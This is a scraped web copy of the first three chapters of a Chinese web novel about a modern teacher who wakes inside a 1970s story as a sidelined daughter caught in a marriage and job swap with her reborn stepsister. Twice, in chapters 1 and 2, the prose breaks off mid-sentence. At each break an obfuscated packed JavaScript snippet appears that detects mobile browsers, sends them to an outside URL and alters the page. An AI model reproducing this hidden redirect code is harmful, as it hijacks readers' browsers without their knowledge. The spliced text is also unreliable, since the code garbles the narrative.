《替嫁后去随军[七零]》 1. 第 1 章 南方的河岩市临海靠山，六月雨季未过，空气中依旧充斥着泥土蒸腾后的溽热。 夏云婉看了眼四周，她此刻站在一条临街的巷子里，两侧是黑瓦青砖的几户人家。 这样的场景不该出现在北京城，反而像极了她记忆中的故乡。 夏云婉有些恍惚。 “夏云婉同志？” 男人声音再度响起，夏云婉这才将目光投了过去，刚才只顾的打量环境，此刻方反应过来身前两步远的男人是在跟自己说话。 “是不是我的表白吓着你了？”顾朝阳再度开口。 他穿着工厂的深蓝色工作服，寸头，五官端正，望过来的眼神比方才更加温柔。 “夏云婉同志，如果你觉得暂时不好答复我，可以等咱们明天见面的时候再说，不过……” 顾朝阳刻意顿了片刻，但依旧迟迟没有等到夏云婉的回答，只得再次深深望了一眼过去。 “不过，我觉得应该也不算突兀吧，毕竟咱们这段时间几乎天天见面，而且小时候还做过一年的同桌，说句青梅竹马都不过分，但你是女孩子，我也可以理解，你不用觉得愧疚。” 答复？ 愧疚？ 幌神的工夫，夏云婉脑海中涌出了无数并不属于自己的记忆片段。 虽还没有弄清楚到底怎么回事儿，可不耽误夏云婉随意点了点头敷衍的嗯了一声，就准备转身先离开。 行至巷子口，带着水汽的风卷起夏云婉额边的刘海碎发，露出了精致漂亮的眉眼。 那是一对标准的新月眼，眉似远山，就算平日夏云婉神情更多是呆板，可不说话时，微微上挑的眼梢也仍旧灵动美好。 就像现在，夏云婉只是穿着最朴素的白色短袖灰色马裤，人群中，她也是极其亮眼的存在。 只可惜了，这是个木头美人。 夏云婉还是跟小时候一样不爱说话，没有半点情趣，但顾朝阳不得不承认，她这张脸蛋，出落得比从前愈发水灵。 “等一下。” 顾朝阳追了两步过去。 “你忘了带走饭盒，明天，我还在老地方等你。” 这次夏云婉没有点头，她狐疑的打量了一眼男人后，再度转身走出了巷子。 “再说吧。” 这是她一贯敷衍人的话，非常好用。 留在原地的顾朝阳虽然有些疑惑，但也没有驻足纠结，很快离开了。 - 此处距离纺织厂家属院只有半条街，夏云婉顺着记忆中的方向，很快走到了家门口。 “站住。” 正在搓麻绳的张艳红搁下活儿，起身喊住了什么也不管就朝屋里走的夏云婉。 “连着中午出去三四天了，说带着饭去学校吃，可你们学校上周考完试，不是说再有一周就彻底结业放假了，我看别你姐也没像你这样的还往外面跑，一跑还跑大半天，到底干什么去了？” 夏云婉皱皱眉，“明天不去了。” 张艳红没想到闺女给了这么个答复，有些意外，但很快又质问道：“我是问你到底干什么去了，要真是谈对象了就说出来，我跟你爸又不反对，等过些天你姐结完婚，也该张罗你的婚事了。” “没有。” 夏云婉摇头：“有些同学毕业后就见不到了，所以这几天约着一块儿多见见，再顺便一起吃饭。” 张艳红狐疑的打量了一眼夏云婉，但想想自己这个闺女向来怯懦的性格应该是不敢撒谎，所以也就信了几分。 张艳红：“云婉，也不是我说，就你这样的性子，能有什么人看上你，还是将来等家里给你找，外貌咱不挑，你年轻，找个家庭条件好点的总成。” 夏云婉才要抬脚离开，忍不住愣是站住了脚步，打量了一眼张艳红，“有你这么说自己女儿的吗？” “你这什么态度，我又没说错！云婉，妈还能害你吗？你瞧别人家父母不上心的，毕了业就得跟着下乡当知青去，哪儿能像你，什么都不用操心，直接就有工作，将来你有了工资，咱家也能宽裕些，你弟你妹可都指望着你交明年学费呢。” “那怎么不指望我姐？”夏云婉突然反问。 张艳红后面道德绑架的话愣是被憋了回去，她扔下手里的麻绳瞪过去。 “你跟云朵比什么，云朵那不是马上就要结婚随军去了嘛，她那桩娃娃亲，人家是正经八百承诺了要给二十张大团结的，你将来不知道得上多久班才能有这些。” “煤矿厂洗煤工，这么辛苦的工作一个月才能拿二十，还不是正式工，我要挣一百块，确实有些难。” 夏云婉正经掰着手指算了算，不知道是在担心自己的未来还是故意阴阳怪气。 张艳红：“你就知足吧！总比下乡了好，别人家父母哪儿像我们家，工作一早就替你打点好，你知道你爸找了多少关系才给你安排进去的吗，怎么这么不懂感恩呢？” 比下乡好？ 看张艳红说的煞有介事，夏云婉有些想笑。 河岩市去年底难得在郊区发现了一处煤矿，煤矿厂上个月建好前，内部那些轻松些的文职工位就已经被人调走了，剩下的就都是干体力活儿的岗位。 男同志优先招煤矿工人，女同志优先招车间的洗煤跟选媒工人。 这活儿辛苦，据说还有什么辐射污染的危险，城里招人招不够，下乡招了一批才招齐。 家里有女孩儿的，大部分宁愿让孩子下乡，也不想往煤矿车间里面送。 夏云婉：“妈，可我怎么听说洗煤工不用走关系，这活儿可辛苦了，人家都不乐意去，你们俩就是想让我留下挣工资呗。” 张艳红的话被挑破，面子上也有些挂不住。 “夏云婉，我给你脸了是不是，出去瞎跑我就不说你什么了，结果回家还敢跟我顶嘴了，过来跟我一起搓麻绳，等会儿再把晚饭做了，我去接宝金念金放学。” “可我有点不舒服，兴许是感冒了，怕传染给你们，你再找别人做饭吧。” 说罢，夏云婉已经走到最里间的隔板房，将自己反锁了进去。 张艳红对闺女的异常表现既诧异又生气，但敲门怎么都敲不开，眼瞧放学时间又到了，只能先离开。 - 隔板间。 夏云婉听着外面张艳红的责骂并不怎么在意，等安静下来，她才望着这间几乎只够放一张床的屋子，梳理着脑海中涌出来的记忆。 进门时候她看了眼墙上的挂历。 ‘一九七一年六月二十八号’——这正是前天她学校办公室男老师推荐的那本大男主年代文开篇的第一行字。 当时办公室里还有人打趣过，说这本小说里男主的初恋居然跟夏云婉同名同姓，她这才好奇借过来翻看。 如今回忆一下刚才的场景，不出意外，她这是穿书了。 这本名叫《七零崛起之路》大男主年代文多少有些标题党。 虽然简介里说这是一本写男主顾朝阳这个庄稼汉，通过自己努力，凭借运气跟时代红利走上人生巅峰成为商界大佬的故事。 可通篇看下来却并非如此。 所谓的努力的商界沉浮部分几乎一笔带过，作者百分之八十的笔墨都在描写男主顾朝阳跟两个女人纠缠的故事。 男主顾朝阳原本只是乡下吃工分的庄稼汉，恰逢七十年代初，河岩市发掘出了全省唯一的煤矿山，煤矿厂招工，顾朝阳凭着一膀子的力气，被招到了煤矿厂当工人。 之后进城没多久，顾朝阳就意外碰见了小时候的同桌女同学夏云婉。 彼时的夏云婉已经随母亲张艳红改嫁，落户到了县城的纺织厂家属院中。 顾朝阳看上了夏云婉的样貌跟家庭，他本生的人高马大，五官端正，稍加用心，便把夏云婉这个原生家庭极度缺爱的小可怜钓到手。 但故事总是一波三折的。 顾朝阳是男主，女主却并非夏云婉。 甚至，夏云婉只是书中三角恋中那个自卑敏感，后期黑化的女反派。 书中，就在夏云婉以为自己可以跟顾朝阳顺利处对象，然后结婚过上幸福小日子时，家里发生了意外。 夏家是重组家庭，夏云婉随母改嫁，结婚时，夏贵仓同样带着个比夏云婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923876|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大半岁的女儿，也就是夏云朵，就连云婉这个名字，也是后来上学时候，张艳红根据夏云朵的名字给改的。 夏家老一辈曾跟一户人家定过娃娃亲，随着岁月更迭，那户人家从普通的乡下猎户，搬到了如今的军属大院。 眼瞧家里两个闺女都要高中毕业了，夏贵仓早就想好了送夏云婉去煤矿厂上班，还能给家里多挣一份工资。 但面对又哭又闹的夏云朵，夏贵仓却没了办法。 送到乡下去，夏云朵不愿意，送到煤矿厂，夏贵仓又心疼，想来想去，他想到了夏老爷子曾经跟人定过一桩娃娃亲。 一番调查摸索，得知对方姓陆，陆家那个当初约定好娃娃亲的孩子，如今都已经做了军官，夏贵仓高兴的一晚上没睡着，第二天早上还念叨着既然是军官，彩礼肯定少不了这些话。 没办法，夏贵仓在毛纺厂也算是个小组长了，但这家里就他一人上班，六口人全都指望着那一个月的四十五块钱，况且还有一对他跟张艳红生的龙凤胎要养，俩孩子眼瞅着都上小学了，将来要用钱的地方还多。 于是就这么定下了夏云朵结婚，夏云婉去煤矿厂。 这眼瞅着陆家那边都回了信，答应了婚约，准备见面接夏云朵过去的时候，没成想夏云朵却突然反悔了。 不光反悔，她还大闹一通后，抢了妹妹夏云婉的工作岗位，非要去煤矿厂上班。 之后一来二去，在煤矿厂上班的夏云朵自然也就结识了顾朝阳。 在夏云婉还没来得及回应顾朝阳的告白之前，夏云朵率先跟顾朝阳表了白。 这本是一本大男主小说，顾朝阳心里最重要的始终是他的事业，他表白夏云婉，更多的也只是觉得有个城里对象有面子，而且女方家里条件比他家里好，将来还有希望迁户口到县城。 可如今这对姐妹花突然都拥了过来，顾朝阳反而还端起架子来。 一会儿说自己做出选择怕伤害另外一方，一会儿又说自己暂时不想考虑结婚。 姐姐夏云朵有了工作倒还好说，最多不过是陪着他消耗时间。 夏云婉就惨了，本来定好的工作被后爹强行转给了夏云朵，她又因为顾朝阳之前的追求爱上了顾朝阳，不愿意再嫁他人，入了秋，没工作的夏云婉就被强行送到了乡下。 她去的农村恰好也是顾朝阳的老家，生活上，顾朝阳就这样在县城跟乡下之间来回往复，感情上，也在这一对姐妹之间犹豫徘徊。 在城里，他享受夏云朵贴心照顾，回老家，他沉迷夏云婉的温柔小意。 就这样纠缠了好几年，那边夏云朵肚子都大了以后，顾朝阳才跟夏云婉坦白了一切。 改开后，伤透心的夏云婉回了城，看到已经是姐夫的顾朝阳彻底黑化，找到机会绑架了两个人的儿子，威胁他们要精神损失费，对方报警，第二天，夏云婉就被武警当街击毙。 夏云婉这样疯狂行为，被读者骂是为了让反派强行下线才安排的低智剧情。 但奈何小说接近结尾，女配这样的结局，也被不少人说是大快人心。 ‘这里面最应该当街击毙的应该是那个左右摇摆，耽误别人青春的凤凰男顾朝阳才对吧。’ 晚上，夏云婉看完书后微信同事吐槽了一句气恼睡去后，等再睁眼的时候，就是刚才她站过的那条巷子了。 难道这是跨越时空同名同姓之间的羁绊？ 从回忆中出神，夏云婉望着望着蓝白褪色的老旧格子门帘，心里忍不住有些中二的想着。 她好不容易大学毕业，正要开启人生新篇章时突然来了这里，想想还真是有些可惜。 尤其可惜她刚交完押金租到的那所小房子。 虽然是老破小，但离工作学校近，不光平价，还阳光充足。 她都想好怎么重新给老破小翻新装修了…… 不过既来之则安之，她去年送走了养育自己长大的爷爷奶奶，也没什么过多的牵挂。 “爸妈。” 突然门外穿来了急促的脚步声，夏云朵语气格外焦急。 “爸，陆家回信没有，我不想嫁到陆家了！” 2. 第 2 章 夏贵仓才下班到家，龙凤胎夏宝金夏念金刚被张艳红接回来，这会儿也在堂屋门口一来一回的扔沙包玩。 瞧见姐姐夏云朵回来，夏宝金眼珠子一转，下一秒换了角度，把手里的沙包扔到了夏云朵的胳膊上。 夏云朵朝着弟妹瞪了过去，“没空跟你们瞎闹，再这样我就揍人了。” 夏念金有些委屈，哼了一声：“跟我又没关系，是宝金砸的。” 张艳红匆匆走过来，“念金，去帮弟弟把把沙包捡起来，朵朵，弟弟不是故意的，你刚着急说的什么？我不会听错了吧？” 夏念金撇撇嘴，跑过去捡起沙包，又扔到了弟弟宝金的手里。 “没听错，那桩娃娃亲我反悔了！”夏云朵顾不上别的，再一次强调道。 “胡闹！”夏贵仓从里屋走出来，瞪着夏云朵呵斥：“别的事儿你瞎闹就算了，这事儿今儿早上人家就已经托媒人来回过信了，不可能你说反悔就反悔！” “是啊朵朵。”张艳红一脸不理解：“昨天你不还答应的好好的，怎么出去一趟就反悔了，对方可是副团级别的军官，家里公婆也都是有退休金的，将来嫁过去日子比在家里都要好。” 夏云朵眼圈通红：“我不管他多厉害的军官多好的家庭，反正……反正我就是不嫁，现在立刻上吊死了也不嫁！！” 夏云朵今天出去本来是跟家里说好，提前去供销社看结婚用的新被面花布。 可就在她手刚摸到布面的一瞬间，大脑中立刻涌出了一大段‘前世’的回忆。 她重生了，重新回到了跟陆霖川结婚前。 前世，她还以为这桩娃娃亲是什么天上掉下来的大馅饼，谁知道嫁入陆家是她痛苦人生的开始。 陆家后婆婆偏心自己的小儿子，去了以后还要她天天做饭，打扫家务，甚至侮辱她的出神，她本以为坚持几天上海岛见陆霖川就好了，好死不死又碰上了台风，她在公婆身边憋屈的住了一个月。 好不容易跟陆霖川见了面，谁承想陆霖川从一开始压根就没同意过结婚，刚见面，就要赶她离开。 可彼时，就算是煤矿厂都已经招工结束，工作难找，回去就意味下乡。 她看陆霖川模样还算周正，虽在海岛，但吃穿不愁，咬咬牙，想了个法子。 一次下雨天，她穿着单衣淋湿后闯进了陆霖川的房间，随后假意称两人已经有了夫妻之实，又给陆家老爷子打电话，千辛万苦，这才终于扯了结婚证。 本以为一切都要好起来了，但命运却再一次的给她开了玩笑。 陆霖川平时跟个石头一样把她当空气就算了，可陆霖川还有个养子，脾气爆性格坏，陆霖川出任务不在家时，养子没少跟她吵架对着干。 虽然河岩市靠海，但夏云朵却不怎么会游泳。 有次她出门去买鱼，养子故意激她上海钓船，结果回来的路上遇见风浪，结婚还没满两年，她就这么死在了海上。 死后数十年，夏云朵的魂魄就飘荡在这河岩市。 她看到了父母因自己的死痛哭，看到了父亲拿到陆家给的补偿款时的欣慰，看到了唯一的弟弟后来拿着这钱娶了媳妇儿。 还看到了妹妹夏云婉跟青梅竹马的恋人顾朝阳幸福结婚，看到了改开后，顾朝阳发了大财，妹妹成了经理夫人…… ‘夏家原来还有个女儿呢，姐姐从小拔尖，妹妹闷葫芦似的，谁能想到世事无常，妹妹才是命好的那一个。’ ‘是啊，其实我就看出来了，那姐姐那长相就压不住福气，唉，死那么早，命苦哟……’ 嚼舌根子的贱人！ 奈何已经是魂魄的夏云朵骂了半天，却没人能听见。 也许是积攒下来的怨气越来越多，直到她看到陆霖川因救人也死在海上后，夏云朵终于冷笑了出来。 她这一生的不幸就是从陆霖川开始的，好啊，这也算是老天可怜她替她报仇了。 这么想着，下一秒，她竟然回到了今时今日，她还没结婚，她还十九岁的时候。 难道……真的是她的冤屈打动老天爷？ 可不管怎么说，既然回来了，她这次一定要改变自己的命运！ “我看是我太惯着你了！”夏贵仓哼了一声，抄起了旁边的扫帚：“不用你上吊，我今儿先打死你这个不知道好歹的东西。” 夏云朵梗着脖子迎上去：“你打啊，你打死我我更不用嫁过去了，我亲妈当年生我难产死的，她临终交代你让好好照顾我的，你打死我，我就拉着我妈变成鬼魂天天缠着你，缠着夏宝金，你打死我吧，呜呜呜呜……” 哭喊着，夏云朵直接坐到了地上开始哭。 张艳红作势去拉夏云朵，也被她一胳膊给甩开。 “后妈就是后妈，我看你们俩就是合起伙来早就盼着我死了！” 这话可是真真冤枉了张艳红。 夏云婉在屋里听着，忍不住的冷笑。 张艳红原籍在乡下，又没工作，带女儿再婚改嫁到家属院后，生怕别人背后议论她当后妈苛待继女落个坏名声，所以这些年来，一碗水别说端平了，就差全都端到夏云朵嘴边喂给她喝。 夏贵仓见自己亲闺女日子好过，自然不会插嘴多管，直到后面张艳红又给夏贵仓生了夏宝金，俩人两颗心这才全都放到了那个宝贝命根子身上。 至于夏云婉，那就是个小苦瓜。 一开始要让着姐姐，后面又要照顾弟妹，她性格又本就沉闷，心里委屈说不出口，当然，就算说出来，也没人会搭理。 这样的原生家庭，难怪来了个什么顾朝阳说两句甜言蜜语就爱的死去活来。 到现在为止，夏云婉跟顾朝阳拢共也就见了五六次，后面三次，还都是夏云婉听说顾朝阳在厂里吃饭吃不饱，专程带了自己的饭送过去才见面的。 “呜呜呜你们联合起来欺负我，你们对不起我死去的亲妈，呜呜呜……” 外面，夏云朵依旧在哭闹。 哭闹了半天，也不见夏贵仓的扫帚落下去。 所谓爱哭的孩子有糖吃，但也要看孩子是谁，拿糖的是谁。 夏贵仓对这个女儿确实心疼的紧，有什么事儿了，夏云朵大哭大闹几次总能成功。 可这哭闹的要是换了夏云婉，换来的除了夏贵仓的无视，还有张艳红说她不懂事的责骂。 “行了行了，你先坐起来。”夏贵仓终于是忍不住了，摇摇头叹了口气：“你要悔婚，总得给我个理由吧，今早上陆家已经托了媒人送了一半的彩礼当做订婚钱，这陆家可是给足了面子，而且那边公婆拿的都有退休金，陆霖川还是军官，你出门一趟脑子被驴踢了不成？” 夏云朵抹抹眼泪，“虽然在一个城市，但陆家在河岩市最东边，隔了得有半座山的距离，一来一回得坐四五个小时车，到时候我再去了海岛，不知道多久才能回一次家，爸，我舍不得你。” 夏贵仓很吃女儿这一套，语气好了些：“怎么跟长不大一样，还是小孩子心性，成年了总得离家的，你舍不得也不行。” “可海岛上的日子也难过，听说那地儿才改造建设不到十年，还不如咱县城发达，反正我不管，这个婚我悔定了，爸，我真的舍不得你，我要守着你一辈子。” 夏贵仓：“说什么傻话？你要是不结婚，难道你想下乡当知青？” 夏云朵连忙摇头：“我不下乡，我……我想上班，哪怕去煤矿厂也行。” 张艳红越发不理解：“这是个什么想法，煤矿厂怎么也比去随军苦。” “苦我也认！”夏云朵恨恨的再次道。 要是能在顾朝阳意外救了厂长，升任主任之前认识他，那她就能像上一世的夏云婉一样，被调去办公室当会计！ 再此之前，苦那么几天又算的了什么，只要最后的果子是甜的就行。 “云朵，这事儿我看你就别再想了，过两天等陆家来人，老老实实跟着走，煤矿厂前线工人就算再难招，那也是正经领工资的工作，现在人家早就招齐了工人，招工半个月前就不开放了。” 夏云朵当然知道这个。 所以，夏云朵把目光瞄准了最里面的隔板间。 “爸，反正都一家人，喊云婉把她的工位名额让给我吧！” 一时间，屋里沉默了半秒。 过了会儿，夏贵仓清了清嗓子，张艳红才尴尬的笑了笑，“云朵，不是我有别的意思，这毕竟是答应人家的婚姻大事儿，你怎么能跟儿戏一样呢，贵仓，你说呢？” 夏贵仓枯草一样的眉头皱起来，“我说什么说，文明社会，闺女都说不嫁了，还能架着刀逼她去领证？这是城里又不是乡下！” 张艳红着急解释：“我没要逼云朵的意思呀，这不是大家坐一起商量呢嘛。” 这个家里，张艳红的地位可能也就仅高于自己的闺女了。 她娘家在乡下，又是死了丈夫带闺女二婚的，虽说对方也一样，可奈何她还得指着男人才能吃上饭。 遇上夏贵仓这种偏心眼的，张艳红稍微做的差点，脸色马上就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923877|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她摆出来了。 “那你先表个态吧妈。”夏云朵抬起下巴，看向张艳红。 她那样子好像在说，我爸都开口了，你就算不同意也不行。 毕竟小时候，夏云朵可是说过让张艳红滚出他们夏家这种话过，而夏贵仓也不曾替张艳红出过一次头。 而且只要把张艳红说通了，她料定夏云婉那个傻子也只有乖乖听话的份儿。 张艳红愣了愣，犹豫道：“可……可咱不是收了一半彩礼，这怎么办？” 夏云朵笑了，“妈，你瞧我这么漂亮，还怕找不来更好的对象吗？就算一时半会儿找不到，有了工作留在城里，早晚能给咱家找到金龟婿，可要是换成夏云婉那个闷罐子，肯定是不成的。” 夏家，甚至家属院里，几乎所有人都天然的觉得夏云朵比夏云婉更漂亮更优秀。 夏云婉常年顶着一头厚重的刘海，不说话，爱低头，可能有些人连夏云婉到底长什么模样都没看清楚过。 跟这个百灵鸟一样喜欢叽叽喳喳，哄人高兴的夏云朵有着天壤之别。 “妈！”夏云朵再次开口：“刚才我着急说了气话，我知道您这些年来最疼我了，您放心，将来我肯定给您养老，孝顺您。” 眼瞧着夏贵仓再次清了嗓子，张艳红不再犹豫，点了头。 “也行，反正云婉这丫头比你能吃苦，煤矿厂都能去，乡下就也能去，刚好还能多历练历练，这孩子性格木讷，也适合待在乡下，将来……” “我不同意。” 梳理完原身留下的所有记忆，眼瞧也到了正题，夏云婉推门走了出来。 方才进门时，夏云婉嫌厚重的头发搭着碍事，顺手给盘了起来，刘海也卡上去了大半。 她本就白净，又因为激动脸颊有些微红，露出眉眼后，整张脸的五官皮相都立体起来。 再者她从前是做老师的，并不习惯含胸低头，精致的下巴微微扬起。 此刻的夏云婉在其他人眼里，好似换了个人一般。 明明还是那个夏云婉，怎么…… 怎么瞧着比昨天漂亮了不止一倍？！ 那个总是如丑小鸭一般低头畏缩的夏云婉，现在像是瞬间蜕变了一样。 可就算蜕变，也只是个丑大鸭。 夏云朵默默地想着。 上辈子夏云婉就算是做了阔太太，也一直土里土气的，难怪顾朝阳受不了她在外面另找女人，如果换了自己，男人肯定乖乖听话。 “云婉，我以为你不在家呢。”夏云朵装模作样开口。 张艳红回过神，也站了起来，“云婉，你说啥呢。” 夏云婉：“我说我不同意，凭什么夏云朵说换就换，凭什么我的事儿也要听她的？工位我是绝对不可能让给夏云朵的！” 除非你拿钱买。 但这话夏云婉并不急着说。 煤矿厂洗煤工非常辛苦，而且环境封闭，气味儿难闻，原身记忆中，一开始也十分抗拒去煤矿厂，可她也没别的工作门路，只能应下。 可就算夏云婉如今说不同意，这工作也的确是夏贵仓托了熟人给找的，到时候他让人把工人名单换个字，也不是什么难事儿。 正因如此，书中原身最后才无奈选择下乡。 也就是说，夏云婉不同意也由不得她，瞎胡闹也由不得她。 那干脆，就把事情闹大好了，不只是夏家，而是有多大就闹多大。 张艳红跟夏贵仓对视了一眼，赶忙又道：“云婉，你怎么总想着跟爸妈顶嘴呢，下午跟我顶嘴我还没顾上说你，现在又开始了，懂事点行吗云婉，你要理解家里的不容易，理解姐姐跟你不一样，你是妹妹，别这么不听话给家里找麻烦。” “懂事儿？那怎么不让夏云朵懂事儿点，难道不应该是姐姐让着妹妹吗？在夏云朵面前我是妹妹得让，在宝金念金面前我是姐姐也得让，这都不只是双标了，这是无耻！是无底线的欺负人！” “夏云婉，你敢这么跟我说话！”张艳红气恼起来，“真是这些天给你脸太多了，再说了，你不是一开始也嫌弃煤矿厂辛苦！我当妈的都是为了你好，你这个没良心的！” 夏云婉冷笑了一声：“原来你现在知道煤矿厂辛苦了啊，那既然这么辛苦，就千万别苦着夏云朵了！” “你！！” 张艳红没料到闺女突然伶牙俐齿起来，一时语塞，随后就扶着额头瘫坐在了椅子上。 “好啊，你现在翅膀硬了，想把我气死是不是？！” 3. 第 3 章 “当然不是，气死了您，夏云朵孝顺谁去，您不还等着她给您养老送终呢，怎么可能这么急着死呢？” “你你你，你这个死丫头！你是一点也不知道体谅家里啊！” 张艳红指着夏云婉的手指关节都在发抖，整个身体颤颤巍巍，明显气得不轻。 但要说气死，肯定还有不少的距离。 夏云婉干脆自顾自倒了杯水，不紧不慢喝了一口，才开口：“我不知道体谅家里，那夏云朵这个始作俑者不就是搅家精吗，妈，您这么说夏云朵，不怕爸生气啊？” “我没这么说！” “你少挑拨离间了。” 夏云朵站起身，故作担心的走到张艳红身边，扶着张艳红起来。 其实夏云朵也很意外。 她不懂怎么夏云婉突然敢反驳家里的意思了。 不过谁家的耗子急了也咬人，这毕竟是关乎终身的大事儿，夏云婉兴许是真的急了。 可耗子始终是耗子，她还能翻过天去？ 夏云朵：“妈，妈你别生这么大气，再把自己气坏就不好了，云婉其实一直都挺懂事儿的，可能是下乡对她来说确实有些冲击才急的。” 张艳红扶着夏云朵胳膊站起来，叹了口气：“云朵，还是你孝顺，唉，你别管了，我再跟云婉商量商量。” “用不着商量，我说了不同意就是不同意，夏云朵不是要上吊吗，行啊，那我就吊到旁边去！” 一直只是冷脸的夏贵仓闻言重重哼了声：“一个两个的不安生，我干脆给你们拿绳子去。” 瞧吧，她刚才猜什么来着。 夏云朵一哭二闹三上吊有人疼，她要是敢这样，下一秒就有人递绳子。 夏贵仓嘴里说的好像是两个人，但那绳子递过来，被拴住脖子的只能是她夏云婉。 “好了好了，都别吵了。”夏云朵扶着张艳红坐下，又笑着去拉夏贵仓的胳膊，“爸妈，其实云婉这样也能理解，不过我有个更好的办法。” 夏贵仓横了一眼夏云朵，又有些无奈，“你有什么办法？” 夏云朵得意洋洋：“乡下苦，谁都不想去吃苦，既然云婉觉得煤矿厂也苦，那我去煤矿厂，她不想下乡，那跟陆家的婚约，我就也让给云婉不就行了，这样彩礼也不用退，简直是皆大欢喜！” 这话说完，夏云朵差点笑出声音来。 不过，夏云婉听完这话，恐怕也能高兴的笑出来吧。 这样攀高枝儿的婚事落到夏云婉的头上，这跟天上掉金子有什么区别。 她夏云婉听了肯定恨不得跪下来感谢自己。 到时候爸妈这边也得夸她一句大度，承她的人情。 而且…… 将来夏云婉这样的性子去了陆家，肯定会被那个恶婆婆收拾的不轻，上了岛，陆霖川不是什么好性子，那养子更是恶劣至极。 她上辈子是因为风浪去世，夏云婉兴许是真的没几天就要被欺负死。 她夏云朵才是那个有福气的人，不然老天爷也不会可怜她送她重活。 做幽魂的日子里，她看着夏云婉过了十年的好日子，现在两个人也该换一换了！ “什么？” 张艳红最先反应过来，坐直了身子猛地抓紧了夏云朵的手。 “云朵，你的意思是，你想把娃娃亲的婚约让给云婉，我没听错吧？可陆家要的是陆老爷子，就是你爷爷的孙女儿呀。” 夏云朵：“当然没听错啊，爸刚才不是还可惜那彩礼钱嘛，那会儿我就想到了，只是我不知道云婉在家，所以还没来得及提出来她就先开口了，反正我俩名字差不多，就说信里写错就行了，再说当年你俩结婚的时候我们都小，哪儿分得那么清楚，况且我爸也早就当云婉是亲生女儿了，反正好处最后都是咱们夏家的。” “可是……” 张艳红还要说什么，夏贵仓已经抢先开了口：“还是云朵脑子清楚聪明，我刚才也想了这茬，怕云朵不高兴没提，我们云朵真是长大了。” “你们把我当死人啊？” ‘咣当’一声，夏云婉把手里的杯子重重搁到了桌子上。 夏云婉：“怎么我的什么事情你们两句话就都能决定啊？我还没开口同意你们就好像已经默认我接受一样，家里这么没人权，想强娶强嫁是吧，好啊，那明天我就去妇联告状去！” “云婉！你怎么这么不识好歹！”张艳红原本已经高兴的笑了出来，闻言脸色再度冷下来。 “这是天大的好事儿，你懂不懂陆家到底什么条件？” 夏云婉：“我只听懂了一件事，那就是她夏云朵不要的事情，到我这儿了才是好事儿，陆家这么好，那她为什么急着躲开？” “我那是舍不得爸妈好不好。”夏云朵辩解道：“云婉，我也是真心为你好，这可比下乡情况好多了！” “那是因为你要抢我的工位，装什么圣人呢。”夏云婉不客气的怼了回去。 夏云朵明显一愣，但还是硬着头皮道：“你怎么这么说话呀，这事儿问谁，你这都是攀高枝儿！” 张艳红也赞同，好像也怕夏云朵反悔一样，连忙道：“云婉，这可是个机会啊，做人要知足，那陆家绝对是个好结婚对象，还是说……还是说你骗我呢，在外面真的自己谈了对象。” 闻言，夏云朵突然紧张起来，脸色绷紧，生怕夏云婉说出顾朝阳的名字来。 这也是她急着让夏云婉赶紧同意替婚的原因。 如果没记错，再有两天，夏云婉就会跟顾朝阳正式好上，还会带顾朝阳来见父母。 到时候她再想对顾朝阳下手，肯定会被人说三道四。 夏云婉把夏云朵的神情收入眼中，越发的不紧不慢，“可如果没有夏云朵，也就根本没有这么多事儿了，我看，这其实是夏云朵在求我吧？” “越说越不像话！”夏贵仓猛地拍了一把桌子，起身准备朝卧室走去，“你要是不想替云朵去结婚就拉倒，也没人求你，家里攒攒也不缺那两百块钱！这孩子越长大越不像样，张艳红，你好好教教你闺女！别忘了，这工位是我找的门路，我说给谁就给谁！” 眼瞧夏贵仓要进屋了，夏云婉这才道：“当然没忘，爸，要是没记错的话，这门路您找的是人事处的刘主任吧？他为什么答应帮您来着？好像是因为当初你们俩一块儿在家属院后面的老地库里打牌，他输您钱，你俩还差点被举报抓起来，这才同意帮忙的，是吗？” 夏贵仓脚下一顿，转过头：“你什么意思？你还想举报我不成？！举报我，全家都别想好过！” 张艳红眼瞧着夏贵仓急了，连忙上前劝和。 但她针对的，依旧是夏云婉。 张艳红，“我真是命苦啊！养这么大的孩子，居然是个没良心的白眼狼！你爸找关系，还不是为了让你留在城里，云婉，你就算恨，也不该恨我们当父母的吧，我们什么不是为了你好？” 夏云婉回忆着书中的剧情，神色依旧冷淡：“为什么想留我在城里，妈，您这个年纪不至于老年痴呆吧，不是下午才说过，是为了我挣工资照顾弟妹补贴家用吗？哦对了，差点忘了，您说的给我说个好亲事，不会是那个死了两个老婆还半身瘫痪的修鞋匠吧？我记得有媒人上门，您当时以为我不在吧？” “你，你自己心思太黑暗，就以为别人都跟你一样吗？！” 夏云婉好整以暇吹了吹杯子口的水蒸汽。 这要是再泡两个胖大海，她还能跟这几个极品舌战三百回合。 “我说的是事实而已，你们不让我活，那就都别活了，爸，你要是把我的工位换了，我就举报你跟刘主任。” 夏贵仓咬着牙，死死瞪着这个好像不认识的继女，“别忘了，这工位如果黄了，云朵还是能嫁到陆家去。” 夏云婉：“那就让她去，反正我是不活了。” “别呀！！” 夏云朵急了。 不能去陆家，死也不能去！ 眼瞧着夏云婉气定神闲，死磕到底的样子，夏云朵终于是软了下来。 夏云朵讨好的走到夏云婉面前，“云婉，你说的不错，算我求你，算我求你还不行嘛！你工位让给我，我婚事让给你，咱俩都不吃亏。” 夏云婉摇头：“不行，你突然性情大变，我怕有诈。” “……” 性情大变的明明是你才对吧！ 可这死丫头怎么突然聪明起来了？看来真是被逼急了？ 